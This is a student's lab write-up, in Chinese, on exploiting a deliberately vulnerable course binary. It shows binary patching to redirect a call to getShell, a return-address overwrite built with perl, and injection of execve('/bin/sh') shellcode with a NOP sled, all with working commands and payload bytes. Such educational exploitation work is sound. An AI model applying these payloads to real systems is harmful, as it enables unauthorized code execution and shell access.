Exp1 PC平台逆向破解(5)M

一、实践目标

本次实践的对象是一个名为pwn20191219的linux可执行文件。

该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。

该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。

三个实践内容如下:

  • 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
  • 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
  • 注入一个自己制作的shellcode并运行这段shellcode。

这几种思路,基本代表现实情况中的攻击目标:

  • 运行原本不可访问的代码片段
  • 强行修改程序执行流
  • 以及注入运行任意代码。

二、基础知识

1.NOP, JNE, JE, JMP, CMP汇编指令的机器码

NOP:NOP是英语“No Operation”的缩写,NOP无操作数,所以称为“空操作”,机器码:90

JNE:条件转移指令。如果不相等则跳转,机器码:75

JE:条件转移指令。如果相等则跳转,机器码:74

JMP:无条件转移指令。段内直接短转Jmp short,机器码:EB ;段内直接近转移Jmp near,机器码:E9 ;段内间接转移Jmp word, 机器码:FF ;段间直接(远)转移Jmp far,机器码:EA。

CMP:比较指令。cmp的功能相当于减法指令,只是对操作数之间运算比较,不保存结果。cmp指令执行后,将对标志寄存器产生影响。其他相关指令通过识别这些被影响的标志寄存器位来得知比较结果。影响的标志位CF,ZF,OF,AF,PF。

2.反汇编与十六进制编程器

objdump:用来查看目标文件或者可执行的目标文件的构成的gcc工具。

基本的反汇编命令是:objdump -d 目标文件 | more

Linux下的图形化十六进制编程器是wxHexEditor,可以进行十六进制的查看和相应修改

三、实验内容

1.直接修改程序机器指令,改变程序执行流程

1.首先对可执行文件pwn20191219进行反汇编
输入:objdump -d pwn20191219 | more

2.找到main函数,然后根据内存地址80484b5,找到汇编指令"call 8048491 "

  • 这是说这条指令将调用位于地址8048491处的foo函数;

  • 其对应机器指令为“e8 d7ffffff”,e8即跳转之意。

  • 本来正常流程,此时此刻EIP的值应该是下条指令的地址,即80484ba,但经过e8这条指令呢,CPU就会转而执行 “EIP + d7ffffff”这个位置的指令。“d7ffffff”是补码,表示-41,41=0x29,80484ba +d7ffffff= 80484ba-0x29正好是8048491这个值。

  • main函数调用foo,对应机器指令为“ e8 d7ffffff”,

  • 那我们想让它调用getShell,只要修改“d7ffffff”为,"getShell-80484ba"对应的补码就行。

  • 用Windows计算器,直接 47d-4ba就能得到补码,是c3ffffff。

3.修改可执行文件,将其中的call指令的目标地址由d7ffffff变为c3ffffff。

以下操作是在vi内
1.按ESC键
2.输入如下,将显示模式切换为16进制模式
:%!xxd
3.查找要修改的内容
/d7
4.找到后前后的内容和反汇编的对比下,确认是地方是正确的
5.修改d7为c3
6.转换16进制为原格式
:%!xxd -r
7.存盘退出vi
:wq

修改如下图所示:

修改完后再反汇编一下,可以看到call后面已经变成了getShell函数了,说明修改成功。

4.最后运行下改后的代码,会得到shell提示符$,成功!!!

2.通过构造输入参数,造成BOF攻击,改变程序执行流

1.首先还是进行反汇编,了解程序的基本功能
命令行输入objdump -d pwn20191219 | more

== 注意这个函数getShell,我们的目标是触发这个函数 ==

该可执行文件正常运行是调用如下函数foo,这个函数有Buffer overflow漏洞

这里读入字符串,但系统只预留了28(0x1c)字节的缓冲区,超出部分会造成溢出,我们的目标是覆盖返回地址

上面的call调用foo,同时在堆栈上压上返回地址值:(80484ba)

2.确认输入字符串哪几个字符会覆盖到返回地址
使用gdb调试工具,在命令行输入:gdb pwn20191219,然后输入r单步运行。
当输入的为1111111122222222333333334444444455555555可以看到eip的值0x35353535也就是5555的ASCII码:

如果输入字符串1111111122222222333333334444444412345678,那 1234 那四个数最终会覆盖到堆栈上的返回地址,进而CPU会尝试运行这个位置的代码。那只要把这四个字符替换为 getShell 的内存地址,输给pwn20191219,pwn20191219就会运行getShell。

3.确认用什么值来覆盖返回地址
getShell的内存地址,通过反汇编时可以看到,即0804847d。

通过观察eip的值可以发现正确的输入为11111111222222223333333344444444\x7d\x84\x04\x08

4.构造输入字符串
由为我们没法通过键盘输入\x7d\x84\x04\x08这样的16进制值,所以先生成包括这样字符串的一个文件。\x0a表示回车,如果没有的话,在程序运行时就需要手工按一下回车键。

在命令行输入:perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input

关于Perl: Perl是一门解释型语言,不需要预编译,可以在命令行上直接使用。 使用输出重定向“>”将perl生成的字符串存储到文件input中。

可以使用16进制查看指令xxd查看input文件的内容是否如预期。

5.最后将input的输入,通过管道符“|”,作为pwn20191219的输入。
两种输入方法:

1.(cat input; cat) | ./pwn20191219
2.(perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"';cat) | ./pwn20191219

3. 注入Shellcode并执行

1.准备一段Shellcode

  • shellcode就是一段机器指令(code)
  • 通常这段机器指令的目的是为获取一个交互式的shell(像linux的shell或类似windows下的cmd.exe),所以这段机器指令被称为shellcode。
  • 在实际的应用中,凡是用来注入的机器指令段都通称为shellcode,像添加一个用户、运行一条指令。

最基本的shellcode的编写可参考shellcode入门,写得非常之清楚详实。以下实践即使用该文章中生成的shellcode。如下:

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\

2.准备工作
先通过execstack - s指令来设置堆栈可执行
再用 execstack -q 指令查询文件的堆栈是否可执行

随后关闭地址随机化

3.构造要注入的payload
Linux下有两种基本构造攻击buf的方法:

  • retaddr+nop+shellcode
  • nop+shellcode+retaddr。
    因为retaddr在缓冲区的位置是固定的,shellcode要不在它前面,要不在它后面。
    简单说缓冲区小就把shellcode放后边,缓冲区大就把shellcode放前边

我们这个buf够放这个shellcode了
结构为:nops+shellcode+retaddr。
nop一为是了填充,二是作为“着陆区/滑行区”。
我们猜的返回地址只要落在任何一个nop上,自然会滑到我们的shellcode。

命令行输入perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode

上面最后的\x4\x3\x2\x1将覆盖到堆栈上的返回地址的位置。我们得把它改为这段shellcode的地址。
特别提醒:最后一个字符千万不能是\x0a。不然下面的操作就做不了了。

接下来我们来确定返回地址是什么。

打开一个终端注入这段攻击buf:

再开另外一个终端,用gdb来调试pwn20191219这个进程。

首先找到我的进程号为39591,随后启动gdb进行调试。

先attach上该进程,随后设置断点。

↑看到 01020304了,就是返回地址的位置。shellcode就挨着,所以地址是:0xffffd160

接着我用的shellcode的结构为:anything+retaddr+nops+shellcode
故我的输入为:perl -e 'print "A" x 32;print "\x60\xd1\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode

成功!!!

posted @ 2022-03-15 20:46  1219雷天荣  阅读(90)  评论(0编辑  收藏  举报